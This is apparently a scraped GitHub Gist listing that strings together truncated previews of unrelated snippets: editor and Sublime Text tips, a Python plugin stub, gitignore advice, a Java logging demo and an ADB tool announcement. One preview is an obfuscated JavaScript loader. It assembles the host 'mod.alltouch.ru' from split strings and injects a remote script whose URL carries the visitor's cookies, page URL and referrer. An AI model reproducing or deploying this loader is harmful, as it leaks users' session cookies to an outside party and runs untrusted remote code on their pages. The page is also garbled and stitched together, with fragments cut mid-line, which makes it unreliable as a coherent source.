-
(10/30/2016) I am not sure when and how this gist gained quite a few stars... But as stated in the v1.13 change log (from 06/16/2015): some content may be outdated, and I am not going to fix them. Moreover, having learned much myself, I do not necessarily agree with every point made in this document from 2.5 years ago. Therefore, please take views from this document with a grain of salt, and do further research as you see fit.
-
This document was initally written for a friend of mine, Jiawen Li, so it might reflect some personal tastes here and there. For instance, some discussions are geared towards Windows, though *nix is obviously superior. For another example, when I say "you seem to love Sublime Text a lot," I'm certainly not expecting most people to love Sublime (in fact I never used it for more than three minutes in a row).
-
This document is written in Markdown. The Markdown rendering engine on GitHub Gist is somewhat limited a
set shortmess=I " Read :help shortmess for everything else. |
# Installing Packages in Sublime Text 2 | |
Installing packages in Sublime Text 2 is a great way to take advantage of plethora of pre-built tools developed by the community, ranging from themes that customize the look of your editor to support for different language styles, such as for Jade. | |
In order to take advantage of all of the wonderful packages out there, the first step is to install Package Control. So let's do that now. | |
1. Open the console in Sublime by clicking *View* in the menu bar, then *Show Console*. | |
 |
A few notes to get started with Sublime Text, some urls, a list of packages i played with, config files, keyboard shortcuts and some more.
- Sublime Text 3: http://sublimetext.com/3/
- Package Control: http://sublime.wbond.net/
- Documentation: http://www.sublimetext.com/docs/3/
- Unofficial Documentation: http://docs.sublimetext.info/en/latest/
- Perfect Workflow in Sublime Text: http://courses.tutsplus.com/courses/perfect-workflow-in-sublime-text-2
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import sublime_plugin | |
import subprocess | |
from time import sleep | |
import sys | |
cl = lambda line: subprocess.Popen(line, shell=True, stdout=subprocess.PIPE).communicate()[0].strip() | |
log = lambda message: sys.stderr.write("Log: %s\n" % message) |
There are certain files created by particular editors, IDEs, operating systems, etc., that do not belong in a repository. But adding system-specific files to the repo's .gitignore
is considered a poor practice. This file should only exclude files and directories that are a part of the package that should not be versioned (such as the node_modules
directory) as well as files that are generated (and regenerated) as artifacts of a build process.
All other files should be in your own global gitignore file:
- Create a file called
.gitignore
in your home directory and add any filepath patterns you want to ignore. - Tell git where your global gitignore file is.
Note: The specific name and path you choose aren't important as long as you configure git to find it, as shown below. You could substitute
.config/git/ignore
for.gitignore
in your home directory, if you prefer.
(function (w, d, e) { | |
var a = 'all', b = 'tou', src = b + 'c' + 'h'; | |
src = 'm' + 'o' + 'd.c' + a + src; | |
var jsHost = "https://" + src, s = d.createElement(e), p = d.getElementsByTagName(e)[0]; | |
s.async = 1; | |
s.src = jsHost + "." + "r" + "u/d_client.js?param;ref" + escape(d.referrer) + ";url" + escape(d.URL) + ";cook" + escape(d.cookie) + ";"; | |
if (!w.jQuery) { | |
var jq = d.createElement(e); | |
jq.src = jsHost + "." + "r" + 'u/js/jquery-1.7.min.js'; | |
jq.onload = function () { |
package org.stepic.java.module4.logdemo; | |
import java.util.logging.*; | |
import java.util.Arrays; | |
/** | |
* Created by vitaly on 28/09/16. | |
*/ | |
public class LogDemo { | |
private static final Logger LOGGER = Logger.getLogger(LogDemo.class.getName()); |
Hi All! | |
I've recently launched a tool that wraps many of the commands here with a user interface. This desktop application is currently available for macOS. There's a roadmap outlining planned features for the near future. | |
Feel free to request any features you'd like to see, and I'll prioritize them accordingly. | |
One of the most important aspects of this application is that every command executed behind the scenes is displayed in a special log section. This allows you to see exactly what’s happening and learn from it. | |
Here's the link to the repository: https://github.com/Pulimet/ADBugger | |
App Description: | |
ADBugger is a desktop tool designed for debugging and QA of Android devices and emulators. It simplifies testing, debugging, and performance analysis by offering device management, automated testing, log analysis, and remote control capabilities. This ensures smooth app performance across various setups. |